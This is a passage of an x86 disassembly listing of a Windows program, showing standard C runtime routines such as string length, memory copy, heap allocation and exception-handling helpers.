sub_4179D0+A2j mov [edi], dl mov eax, [esp+4+arg_0] pop edi retn sub_4179D0 endp ; =============== S U B R O U T I N E ======================================= sub_417AB0 proc near ; CODE XREF: sub_4023A7+1A7p ; sub_4023A7:loc_402561p ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] test ecx, 3 jz short loc_417AD0 loc_417ABC: ; CODE XREF: sub_417AB0+19j mov al, [ecx] inc ecx test al, al jz short loc_417B03 test ecx, 3 jnz short loc_417ABC add eax, 0 loc_417AD0: ; CODE XREF: sub_417AB0+Aj ; sub_417AB0+36j ... mov eax, [ecx] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add ecx, 4 test eax, 81010100h jz short loc_417AD0 mov eax, [ecx-4] test al, al jz short loc_417B21 test ah, ah jz short loc_417B17 test eax, 0FF0000h jz short loc_417B0D test eax, 0FF000000h jz short loc_417B03 jmp short loc_417AD0 ; --------------------------------------------------------------------------- loc_417B03: ; CODE XREF: sub_417AB0+11j ; sub_417AB0+4Fj lea eax, [ecx-1] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_417B0D: ; CODE XREF: sub_417AB0+48j lea eax, [ecx-2] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_417B17: ; CODE XREF: sub_417AB0+41j lea eax, [ecx-3] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_417B21: ; CODE XREF: sub_417AB0+3Dj lea eax, [ecx-4] mov ecx, [esp+arg_0] sub eax, ecx retn sub_417AB0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_417B30 proc near ; CODE XREF: sub_402688+8p ; sub_402B84+8p ... arg_0 = byte ptr 4 push ecx cmp eax, 1000h lea ecx, [esp+4+arg_0] jb short loc_417B50 loc_417B3C: ; CODE XREF: sub_417B30+1Ej sub ecx, 1000h sub eax, 1000h test [ecx], eax cmp eax, 1000h jnb short loc_417B3C loc_417B50: ; CODE XREF: sub_417B30+Aj sub ecx, eax mov eax, esp test [ecx], eax mov esp, ecx mov ecx, [eax] mov eax, [eax+4] push eax retn sub_417B30 endp ; =============== S U B R O U T I N E ======================================= sub_417B5F proc near ; CODE XREF: sub_4029E9+7Ap ; sub_4029E9+8Ap ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] mov ecx, eax cmp word ptr [eax], 0 jz short loc_417B73 loc_417B6B: ; CODE XREF: sub_417B5F+12j inc ecx inc ecx cmp word ptr [ecx], 0 jnz short loc_417B6B loc_417B73: ; CODE XREF: sub_417B5F+Aj mov edx, [esp+arg_4] push esi loc_417B78: ; CODE XREF: sub_417B5F+26j mov si, [edx] mov [ecx], si inc ecx inc ecx inc edx inc edx test si, si jnz short loc_417B78 pop esi retn sub_417B5F endp ; =============== S U B R O U T I N E ======================================= sub_417B89 proc near ; CODE XREF: sub_402B84+220p ; sub_402DD7+C1p ... arg_0 = dword ptr 4 push dword_4CDA14 push [esp+4+arg_0] call sub_417B9B pop ecx pop ecx retn sub_417B89 endp ; =============== S U B R O U T I N E ======================================= sub_417B9B proc near ; CODE XREF: sub_417B89+Ap ; sub_4185F5+6p arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0FFFFFFE0h ja short loc_417BC4 loc_417BA2: ; CODE XREF: sub_417B9B+27j push [esp+arg_0] call sub_417BC7 test eax, eax pop ecx jnz short locret_417BC6 cmp [esp+arg_4], eax jz short locret_417BC6 push [esp+arg_0] call sub_41AB54 test eax, eax pop ecx jnz short loc_417BA2 loc_417BC4: ; CODE XREF: sub_417B9B+5j xor eax, eax locret_417BC6: ; CODE XREF: sub_417B9B+13j ; sub_417B9B+19j retn sub_417B9B endp ; =============== S U B R O U T I N E ======================================= sub_417BC7 proc near ; CODE XREF: sub_417B9B+Bp arg_0 = dword ptr 4 mov eax, dword_4CF028 push esi mov esi, [esp+4+arg_0] cmp eax, 3 jnz short loc_417BEB cmp esi, dword_4CF020 ja short loc_417C1D push esi call sub_41B0DD test eax, eax pop ecx jz short loc_417C1D pop esi retn ; --------------------------------------------------------------------------- loc_417BEB: ; CODE XREF: sub_417BC7+Dj cmp eax, 2 jnz short loc_417C1D mov eax, [esp+4+arg_0] test eax, eax jz short loc_417C00 lea esi, [eax+0Fh] and esi, 0FFFFFFF0h jmp short loc_417C03 ; --------------------------------------------------------------------------- loc_417C00: ; CODE XREF: sub_417BC7+2Fj push 10h pop esi loc_417C03: ; CODE XREF: sub_417BC7+37j cmp esi, dword_435EB4 ja short loc_417C2A mov eax, esi shr eax, 4 push eax call sub_41BB80 test eax, eax pop ecx jnz short loc_417C39 jmp short loc_417C2A ; --------------------------------------------------------------------------- loc_417C1D: ; CODE XREF: sub_417BC7+15j ; sub_417BC7+20j ... test esi, esi jnz short loc_417C24 push 1 pop esi loc_417C24: ; CODE XREF: sub_417BC7+58j add esi, 0Fh and esi, 0FFFFFFF0h loc_417C2A: ; CODE XREF: sub_417BC7+42j ; sub_417BC7+54j push esi push 0 push dword_4CF024 nop call near ptr 2730000h loc_417C39: ; CODE XREF: sub_417BC7+52j pop esi retn sub_417BC7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417C3B proc near ; CODE XREF: sub_402DD7+10Ep ; sub_402DD7+116p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push esi mov esi, [ebp+arg_0] test esi, esi jz short loc_417CA1 mov eax, dword_4CF028 cmp eax, 3 jnz short loc_417C67 push esi call sub_41AD89 pop ecx test eax, eax push esi jz short loc_417C93 push eax call sub_41ADB4 pop ecx pop ecx jmp short loc_417CA1 ; --------------------------------------------------------------------------- loc_417C67: ; CODE XREF: sub_417C3B+14j cmp eax, 2 jnz short loc_417C92 lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_4] push eax push esi call sub_41BAE4 add esp, 0Ch test eax, eax jz short loc_417C92 push eax push [ebp+arg_0] push [ebp+var_4] call sub_41BB3B add esp, 0Ch jmp short loc_417CA1 ; --------------------------------------------------------------------------- loc_417C92: ; CODE XREF: sub_417C3B+2Fj ; sub_417C3B+44j push esi loc_417C93: ; CODE XREF: sub_417C3B+20j push 0 push dword_4CF024 nop call near ptr 2720363h loc_417CA1: ; CODE XREF: sub_417C3B+Aj ; sub_417C3B+2Aj ... pop esi leave retn sub_417C3B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_417CA4(double) sub_417CA4 proc near ; CODE XREF: sub_403FE6+38p var_24 = qword ptr -24h var_18 = qword ptr -18h var_8 = qword ptr -8 arg_0 = qword ptr 8 push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, 0FFFFh push esi push dword_433C30 call sub_41C77D fld [ebp+arg_0] pop ecx mov ebx, eax mov eax, dword ptr [ebp+arg_0+6] pop ecx push ecx and ax, 7FF0h push ecx cmp ax, 7FF0h fstp [esp+18h+var_18] jnz short loc_417D2A call sub_41C645 pop ecx test eax, eax pop ecx jle short loc_417D0D cmp eax, 2 jle short loc_417CFF cmp eax, 3 jnz short loc_417D0D fld [ebp+arg_0] push ebx push ecx ; int push ecx fstp qword ptr [esp] push 0Bh ; double call sub_41BF55 add esp, 10h jmp short loc_417D6F ; --------------------------------------------------------------------------- loc_417CFF: ; CODE XREF: sub_417CA4+3Fj push esi push ebx call sub_41C77D fld [ebp+arg_0] pop ecx pop ecx jmp short loc_417D6F ; --------------------------------------------------------------------------- loc_417D0D: ; CODE XREF: sub_417CA4+3Aj ; sub_417CA4+44j fld [ebp+arg_0] fadd dbl_4246A8 push ebx push ecx ; double push ecx fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx fstp [esp+24h+var_24] push 0Bh push 8 jmp short loc_417D67 ; --------------------------------------------------------------------------- loc_417D2A: ; CODE XREF: sub_417CA4+2Fj call sub_41C60A fstp [ebp+var_8] fld [ebp+var_8] fcomp [ebp+arg_0] pop ecx pop ecx fnstsw ax sahf jnz short loc_417D4D loc_417D3F: ; CODE XREF: sub_417CA4+ACj push esi push ebx call sub_41C77D fld [ebp+var_8] pop ecx pop ecx jmp short loc_417D6F ; --------------------------------------------------------------------------- loc_417D4D: ; CODE XREF: sub_417CA4+99j test bl, 20h jnz short loc_417D3F fld [ebp+var_8] push ebx ; int push ecx push ecx ; double fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx ; double fstp [esp+24h+var_24] push 0Bh ; int push 10h ; int loc_417D67: ; CODE XREF: sub_417CA4+84j call sub_41BFA8 add esp, 1Ch loc_417D6F: ; CODE XREF: sub_417CA4+59j ; sub_417CA4+67j ... pop esi pop ebx leave retn sub_417CA4 endp ; =============== S U B R O U T I N E ======================================= sub_417D73 proc near ; CODE XREF: ___:00419AC1p ; DATA XREF: ___:off_433C3Co call sub_417D8B call sub_41C846 mov dword_4CD994, eax call sub_41C7F6 fnclex retn sub_417D73 endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_417D8B proc near ; CODE XREF: sub_417D73p mov eax, offset sub_41CC34 mov off_435FD4, offset sub_41C8C9 mov off_435FD0, eax mov off_435FD8, offset sub_41C92F mov off_435FDC, offset sub_41C86F mov off_435FE0, offset sub_41C917 mov off_435FE4, eax retn sub_417D8B endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417DC4 proc near ; CODE XREF: sub_403FE6+1Bp ; sub_403FE6+44p ... var_C = qword ptr -0Ch var_4 = word ptr -4 var_2 = word ptr -2 push ebp mov ebp, esp add esp, 0FFFFFFF4h fstcw [ebp+var_2] wait mov ax, [ebp+var_2] or ah, 0Ch mov [ebp+var_4], ax fldcw [ebp+var_4] fistp [ebp+var_C] fldcw [ebp+var_2] mov eax, dword ptr [ebp+var_C] mov edx, dword ptr [ebp+var_C+4] leave retn sub_417DC4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_417DEB(double) sub_417DEB proc near ; CODE XREF: sub_404032+82p ; ___:00404CF0p var_24 = qword ptr -24h var_18 = qword ptr -18h var_8 = qword ptr -8 arg_0 = qword ptr 8 push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, 0FFFFh push esi push dword_433C48 call sub_41C77D fld [ebp+arg_0] pop ecx mov ebx, eax mov eax, dword ptr [ebp+arg_0+6] pop ecx push ecx and ax, 7FF0h push ecx cmp ax, 7FF0h fstp [esp+18h+var_18] jnz short loc_417E71 call sub_41C645 pop ecx test eax, eax pop ecx jle short loc_417E54 cmp eax, 2 jle short loc_417E46 cmp eax, 3 jnz short loc_417E54 fld [ebp+arg_0] push ebx push ecx ; int push ecx fstp qword ptr [esp] push 0Ch ; double call sub_41BF55 add esp, 10h jmp short loc_417EB6 ; --------------------------------------------------------------------------- loc_417E46: ; CODE XREF: sub_417DEB+3Fj push esi push ebx call sub_41C77D fld [ebp+arg_0] pop ecx pop ecx jmp short loc_417EB6 ; --------------------------------------------------------------------------- loc_417E54: ; CODE XREF: sub_417DEB+3Aj ; sub_417DEB+44j fld [ebp+arg_0] fadd dbl_4246A8 push ebx push ecx ; double push ecx fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx fstp [esp+24h+var_24] push 0Ch push 8 jmp short loc_417EAE ; --------------------------------------------------------------------------- loc_417E71: ; CODE XREF: sub_417DEB+2Fj call sub_41C60A fstp [ebp+var_8] fld [ebp+var_8] fcomp [ebp+arg_0] pop ecx pop ecx fnstsw ax sahf jnz short loc_417E94 loc_417E86: ; CODE XREF: sub_417DEB+ACj push esi push ebx call sub_41C77D fld [ebp+var_8] pop ecx pop ecx jmp short loc_417EB6 ; --------------------------------------------------------------------------- loc_417E94: ; CODE XREF: sub_417DEB+99j test bl, 20h jnz short loc_417E86 fld [ebp+var_8] push ebx ; int push ecx push ecx ; double fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx ; double fstp [esp+24h+var_24] push 0Ch ; int push 10h ; int loc_417EAE: ; CODE XREF: sub_417DEB+84j call sub_41BFA8 add esp, 1Ch loc_417EB6: ; CODE XREF: sub_417DEB+59j ; sub_417DEB+67j ... pop esi pop ebx leave retn sub_417DEB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417EBA proc near ; CODE XREF: ___:0041D116p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi push edi mov eax, [ebp+arg_4] add eax, 0Ch mov [ebp+var_4], eax mov ebx, large fs:0 mov eax, [ebx] mov large fs:0, eax mov eax, [ebp+arg_0] mov ebx, [ebp+arg_4] mov esp, [ebx-4] mov ebp, [ebp+var_4] jmp eax sub_417EBA endp ; --------------------------------------------------------------------------- pop edi pop esi pop ebx leave retn 8 ; =============== S U B R O U T I N E ======================================= sub_417EEE proc near ; CODE XREF: sub_41D256+199p ; sub_41D41A+3Ep arg_4 = dword ptr 8 pop eax pop ecx xchg eax, [esp-8+arg_4] jmp eax sub_417EEE endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_417EF5 proc near ; CODE XREF: sub_41D256+17Fp arg_4 = dword ptr 8 pop eax pop ecx xchg eax, [esp-8+arg_4] jmp eax sub_417EF5 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_417EFC proc near ; CODE XREF: sub_4180AE+5Cp ; sub_41D0A5:loc_41D0D6p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push ebx push esi push edi mov eax, large fs:0 mov [ebp+var_8], eax mov [ebp+var_4], offset loc_417F24 push 0 push [ebp+arg_4] push [ebp+var_4] push [ebp+arg_0] call sub_422A4C sub_417EFC endp ; --------------------------------------------------------------------------- loc_417F24: ; DATA XREF: sub_417EFC+11o mov eax, [ebp+0Ch] mov eax, [eax+4] and al, 0FDh mov ecx, [ebp+0Ch] mov [ecx+4], eax mov eax, large fs:0 mov ebx, [ebp-8] mov [ebx], eax mov large fs:0, ebx pop edi pop esi pop ebx leave retn 8 ; --------------------------------------------------------------------------- loc_417F4B: ; CODE XREF: ___:004230ECj ; ___:00423109j ... push ebp mov ebp, esp sub esp, 4 push ebx push esi push edi cld mov [ebp-4], eax xor eax, eax push eax push eax push eax push dword ptr [ebp-4] push dword ptr [ebp+14h] push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call sub_41CCAA add esp, 20h mov [ebp+14h], eax pop edi pop esi pop ebx mov eax, [ebp+14h] mov esp, ebp pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417F81 proc near ; CODE XREF: sub_41D120+73p var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 14h mov eax, [ebp+arg_4] and [ebp+var_14], 0 mov ecx, [ebp+arg_0] mov [ebp+var_C], eax mov eax, [ebp+arg_C] mov [ebp+var_10], offset sub_417FD5 inc eax mov [ebp+var_8], ecx mov [ebp+var_4], eax mov eax, large fs:0 mov [ebp+var_14], eax lea eax, [ebp+var_14] mov large fs:0, eax push [ebp+arg_10] push ecx push [ebp+arg_8] call sub_41D4B0 mov ecx, eax mov eax, [ebp+var_14] mov large fs:0, eax mov eax, ecx leave retn sub_417F81 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417FD5 proc near ; DATA XREF: sub_417F81+16o arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cld mov eax, [ebp+arg_4] push 0 push eax push dword ptr [eax+10h] push dword ptr [eax+8] push 0 push [ebp+arg_8] push dword ptr [eax+0Ch] push [ebp+arg_0] call sub_41CCAA add esp, 20h pop ebp retn sub_417FD5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417FFA proc near ; CODE XREF: sub_41CEEC+25p var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 34h push ebx push esi push edi and [ebp+var_28], 0 mov [ebp+var_24], offset sub_4180AE mov eax, [ebp+arg_10] mov [ebp+var_20], eax mov eax, [ebp+arg_4] mov [ebp+var_1C], eax mov eax, [ebp+arg_14] mov [ebp+var_18], eax mov eax, [ebp+arg_18] mov [ebp+var_14], eax and [ebp+var_10], 0 and [ebp+var_C], 0 and [ebp+var_8], 0 and [ebp+var_4], 0 mov [ebp+var_10], offset loc_418080 mov [ebp+var_C], esp mov [ebp+var_8], ebp mov eax, large fs:0 mov [ebp+var_28], eax lea eax, [ebp+var_28] mov large fs:0, eax mov [ebp+var_34], 1 mov eax, [ebp+arg_0] mov [ebp+var_30], eax mov eax, [ebp+arg_8] mov [ebp+var_2C], eax lea eax, [ebp+var_30] push eax mov eax, [ebp+arg_0] push dword ptr [eax] call dword_4CDA38 pop ecx pop ecx and [ebp+var_34], 0 loc_418080: ; DATA XREF: sub_417FFA+3Co cmp [ebp+var_4], 0 jz short loc_41809D mov ebx, large fs:0 mov eax, [ebx] mov ebx, [ebp+var_28] mov [ebx], eax mov large fs:0, ebx jmp short loc_4180A6 ; --------------------------------------------------------------------------- loc_41809D: ; CODE XREF: sub_417FFA+8Aj mov eax, [ebp+var_28] mov large fs:0, eax loc_4180A6: ; CODE XREF: sub_417FFA+A1j mov eax, [ebp+var_34] pop edi pop esi pop ebx leave retn sub_417FFA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4180AE proc near ; DATA XREF: sub_417FFA+Do arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi push edi cld mov eax, [ebp+arg_0] mov eax, [eax+4] and eax, 66h test eax, eax jz short loc_4180D1 mov eax, [ebp+arg_4] mov dword ptr [eax+24h], 1 push 1 pop eax jmp short loc_41811E ; --------------------------------------------------------------------------- loc_4180D1: ; CODE XREF: sub_4180AE+12j push 1 mov eax, [ebp+arg_4] push dword ptr [eax+14h] mov eax, [ebp+arg_4] push dword ptr [eax+10h] mov eax, [ebp+arg_4] push dword ptr [eax+8] push 0 push [ebp+arg_8] mov eax, [ebp+arg_4] push dword ptr [eax+0Ch] push [ebp+arg_0] call sub_41CCAA add esp, 20h mov eax, [ebp+arg_4] cmp dword ptr [eax+24h], 0 jnz short loc_41810F push [ebp+arg_0] push [ebp+arg_4] call sub_417EFC ; --------------------------------------------------------------------------- loc_41810F: ; CODE XREF: sub_4180AE+54j mov ebx, [ebp+arg_4] mov esp, [ebx+1Ch] mov ebp, [ebx+20h] jmp dword ptr [ebx+18h] ; --------------------------------------------------------------------------- push 1 pop eax loc_41811E: ; CODE XREF: sub_4180AE+21j pop edi pop esi pop ebx pop ebp retn sub_4180AE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418123 proc near ; CODE XREF: sub_41CD45+C6p ; sub_41CEEC+43p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx push ebx push esi cmp [ebp+arg_4], 0 push edi mov edi, [ebp+arg_0] mov esi, [edi+0Ch] mov ebx, [edi+10h] mov eax, esi mov [ebp+arg_0], esi mov [ebp+var_4], eax jl short loc_41817A loc_418141: ; CODE XREF: sub_418123+52j cmp esi, 0FFFFFFFFh jnz short loc_41814B call sub_41D552 loc_41814B: ; CODE XREF: sub_418123+21j mov ecx, [ebp+arg_8] dec esi lea eax, [esi+esi*4] cmp [ebx+eax*4+4], ecx lea eax, [ebx+eax*4] jge short loc_418160 cmp ecx, [eax+8] jle short loc_418165 loc_418160: ; CODE XREF: sub_418123+36j cmp esi, 0FFFFFFFFh jnz short loc_418171 loc_418165: ; CODE XREF: sub_418123+3Bj mov eax, [ebp+arg_0] dec [ebp+arg_4] mov [ebp+var_4], eax mov [ebp+arg_0], esi loc_418171: ; CODE XREF: sub_418123+40j cmp [ebp+arg_4], 0 jge short loc_418141 mov eax, [ebp+var_4] loc_41817A: ; CODE XREF: sub_418123+1Cj mov ecx, [ebp+arg_C] inc esi mov [ecx], esi mov ecx, [ebp+arg_10] mov [ecx], eax cmp eax, [edi+0Ch] ja short loc_41818E cmp esi, eax jbe short loc_418193 loc_41818E: ; CODE XREF: sub_418123+65j call sub_41D552 loc_418193: ; CODE XREF: sub_418123+69j lea eax, [esi+esi*4] pop edi pop esi lea eax, [ebx+eax*4] pop ebx leave retn sub_418123 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_4181A0 proc near ; CODE XREF: sub_41F774+5Ap arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx push esi push edi push ebp push 0 push 0 push offset sub_4181B8 push [ebp+arg_0] call sub_422A4C sub_4181A0 endp ; =============== S U B R O U T I N E ======================================= sub_4181B8 proc near ; DATA XREF: sub_4181A0+Bo pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4181B8 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4181C0 proc near ; DATA XREF: sub_4181E2+Ao ; sub_41824A+9o arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_C = dword ptr 10h mov ecx, [esp+arg_0] test dword ptr [ecx+4], 6 mov eax, 1 jz short locret_4181E1 mov eax, [esp+arg_4] mov edx, [esp+arg_C] mov [edx], eax mov eax, 3 locret_4181E1: ; CODE XREF: sub_4181C0+10j retn sub_4181C0 endp ; =============== S U B R O U T I N E ======================================= sub_4181E2 proc near ; CODE XREF: sub_41D1C6+Dp ; sub_41F774+67p ... var_14 = dword ptr -14h arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi push edi mov eax, [esp+0Ch+arg_0] push eax push 0FFFFFFFEh push offset sub_4181C0 push large dword ptr fs:0 mov large fs:0, esp loc_4181FF: ; CODE XREF: sub_4181E2:loc_41823Aj mov eax, [esp+1Ch+arg_0] mov ebx, [eax+8] mov esi, [eax+0Ch] cmp esi, 0FFFFFFFFh jz short loc_41823C cmp esi, [esp+1Ch+arg_4] jz short loc_41823C lea esi, [esi+esi*2] mov ecx, [ebx+esi*4] mov [esp+1Ch+var_14], ecx mov [eax+0Ch], ecx cmp dword ptr [ebx+esi*4+4], 0 jnz short loc_41823A push 101h mov eax, [ebx+esi*4+8] call sub_418276 call dword ptr [ebx+esi*4+8] loc_41823A: ; CODE XREF: sub_4181E2+44j jmp short loc_4181FF ; --------------------------------------------------------------------------- loc_41823C: ; CODE XREF: sub_4181E2+2Aj ; sub_4181E2+30j pop large dword ptr fs:0 add esp, 0Ch pop edi pop esi pop ebx retn sub_4181E2 endp ; =============== S U B R O U T I N E ======================================= sub_41824A proc near ; CODE XREF: sub_41D1E6+37p xor eax, eax mov ecx, large fs:0 cmp dword ptr [ecx+4], offset sub_4181C0 jnz short locret_41826C mov edx, [ecx+0Ch] mov edx, [edx+0Ch] cmp [ecx+8], edx jnz short locret_41826C mov eax, 1 locret_41826C: ; CODE XREF: sub_41824A+10j ; sub_41824A+1Bj retn sub_41824A endp ; =============== S U B R O U T I N E ======================================= sub_41826D proc near ; CODE XREF: sub_41D4B0+1Ep ; sub_41D4B0+40p push ebx push ecx mov ebx, offset dword_433C4C jmp short loc_418280 sub_41826D endp ; =============== S U B R O U T I N E ======================================= sub_418276 proc near ; CODE XREF: sub_4181E2+4Fp ; sub_41F774+78p push ebx push ecx mov ebx, offset dword_433C4C mov ecx, [ebp+8] loc_418280: ; CODE XREF: sub_41826D+7j mov [ebx+8], ecx mov [ebx+4], eax mov [ebx+0Ch], ebp pop ecx pop ebx retn 4 sub_418276 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_418290 proc near ; CODE XREF: sub_404032+5p ; sub_4041D4+5p ... push 0FFFFFFFFh push eax mov eax, large fs:0 push eax mov eax, [esp+0Ch] mov large fs:0, esp mov [esp+0Ch], ebp lea ebp, [esp+0Ch] push eax retn sub_418290 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4182AF proc near ; CODE XREF: sub_404667+26p ; ___:004227E2p ... arg_0 = dword ptr 4 push [esp+arg_0] call sub_417C3B pop ecx retn sub_4182AF endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4182C0 proc near ; CODE XREF: sub_4046D8+3Ap ; sub_41ADB4+2EFp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi mov esi, [ebp+arg_4] mov ecx, [ebp+arg_8] mov edi, [ebp+arg_0] mov eax, ecx mov edx, ecx add eax, esi cmp edi, esi jbe short loc_4182E0 cmp edi, eax jb loc_418458 loc_4182E0: ; CODE XREF: sub_4182C0+16j test edi, 3 jnz short loc_4182FC shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_41831C rep movsd jmp off_418408[edx*4] ; --------------------------------------------------------------------------- loc_4182FC: ; CODE XREF: sub_4182C0+26j mov eax, edi mov edx, 3 sub ecx, 4 jb short loc_418314 and eax, 3 add ecx, eax jmp dword ptr loc_41831C+4[eax*4] ; --------------------------------------------------------------------------- loc_418314: ; CODE XREF: sub_4182C0+46j jmp dword ptr loc_418418[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41831C: ; CODE XREF: sub_4182C0+31j ; sub_4182C0+8Ej ... jmp off_41839C[ecx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_41832C+4 dd offset loc_41835C ; --------------------------------------------------------------------------- loc_41832C: ; DATA XREF: sub_4182C0+64o add byte ptr [ebx-2EDCFFBFh], 8Ah push es mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al add esi, 3 add edi, 3 cmp ecx, 8 jb short loc_41831C rep movsd jmp off_418408[edx*4] ; --------------------------------------------------------------------------- align 4 loc_41835C: ; DATA XREF: sub_4182C0+68o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al add esi, 2 add edi, 2 cmp ecx, 8 jb short loc_41831C rep movsd jmp off_418408[edx*4] ; --------------------------------------------------------------------------- align 10h and edx, ecx mov al, [esi] mov [edi], al inc esi shr ecx, 2 inc edi cmp ecx, 8 jb short loc_41831C rep movsd jmp off_418408[edx*4] ; --------------------------------------------------------------------------- align 4 off_41839C dd offset loc_4183FF ; DATA XREF: sub_4182C0:loc_41831Cr dd offset loc_4183EC dd offset loc_4183E4 dd offset loc_4183DC dd offset loc_4183D4 dd offset loc_4183CC dd offset loc_4183C4 dd offset loc_4183BC ; --------------------------------------------------------------------------- loc_4183BC: ; CODE XREF: sub_4182C0:loc_41831Cj ; DATA XREF: sub_4182C0+F8o mov eax, [esi+ecx*4-1Ch] mov [edi+ecx*4-1Ch], eax loc_4183C4: ; CODE XREF: sub_4182C0:loc_41831Cj ; DATA XREF: sub_4182C0+F4o mov eax, [esi+ecx*4-18h] mov [edi+ecx*4-18h], eax loc_4183CC: ; CODE XREF: sub_4182C0:loc_41831Cj ; DATA XREF: sub_4182C0+F0o mov eax, [esi+ecx*4-14h] mov [edi+ecx*4-14h], eax loc_4183D4: ; CODE XREF: sub_4182C0:loc_41831Cj ; DATA XREF: sub_4182C0+ECo mov eax, [esi+ecx*4-10h] mov [edi+ecx*4-10h], eax loc_4183DC: ; CODE XREF: sub_4182C0:loc_41831Cj ; DATA XREF: sub_4182C0+E8o mov eax, [esi+ecx*4-0Ch] mov [edi+ecx*4-0Ch], eax loc_4183E4: ; CODE XREF: sub_4182C0:loc_41831Cj ; DATA XREF: sub_4182C0+E4o mov eax, [esi+ecx*4-8] mov [edi+ecx*4-8], eax loc_4183EC: ; CODE XREF: sub_4182C0:loc_41831Cj ; DATA XREF: sub_4182C0+E0o mov eax, [esi+ecx*4-4] mov [edi+ecx*4-4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_4183FF: ; CODE XREF: sub_4182C0:loc_41831Cj ; DATA XREF: sub_4182C0:off_41839Co jmp off_418408[edx*4] ; --------------------------------------------------------------------------- align 4 off_418408 dd offset loc_418418 ; DATA XREF: sub_4182C0+35r ; sub_4182C0+92r ... dd offset loc_418420 dd offset loc_41842C dd offset loc_418440 ; --------------------------------------------------------------------------- loc_418418: ; CODE XREF: sub_4182C0+35j ; sub_4182C0+92j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_418420: ; CODE XREF: sub_4182C0+35j ; sub_4182C0+92j ... mov al, [esi] mov [edi], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41842C: ; CODE XREF: 